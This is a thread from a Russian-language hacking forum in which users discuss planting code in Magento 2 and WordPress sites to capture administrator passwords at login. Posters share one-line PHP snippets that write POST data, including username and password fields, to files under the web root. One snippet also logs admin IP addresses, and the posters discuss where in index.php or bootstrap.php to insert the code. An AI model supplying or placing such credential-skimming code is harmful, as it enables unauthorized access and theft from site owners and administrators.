• XSS.stack #1 – первый литературный журнал от юзеров форума

Сниф паролей magento 2

Eronit

CD-диск
Пользователь
Регистрация
21.02.2022
Сообщения
10
Реакции
2
Добрый день друзья, возникла такая надобность соснифать пароли админов при входе в админку. Сую код для логирования POST запроса
file_put_contents('file.txt', json_encode($_POST), FILE_APPEND);
1661956167177.gif

В index.php - не создается файл.
Если засунуть в /app/bootstrap.php этот же код то file.txt создается но пустой. Есть у кого какие идея куда правильно воткнуть код?
Права на запись есть) Кэш чистил.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Совсем глухо не кто не сталкивался с таким?)
на вп так вставлял ,на магенто незнаю,самому подсказали,может поможет тебе
file_put_contents("{$_SERVER['DOCUMENT_ROOT']}/passwords", $_POST['log'].":".$_POST['pwd']."\n", FILE_APPEND);

это по сбору админского ип
file_put_contents('i.txt',$_SERVER['REMOTE_ADDR']."\n", FILE_APPEND);
 
Напиши кошелек, закину манету) в пм тебе не могу написать профиль закрыт

Error 503 Backend fetch failed​

Backend fetch failed

Guru Meditation:​

XID: 295021


Varnish cache server
вот так вот говорит)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх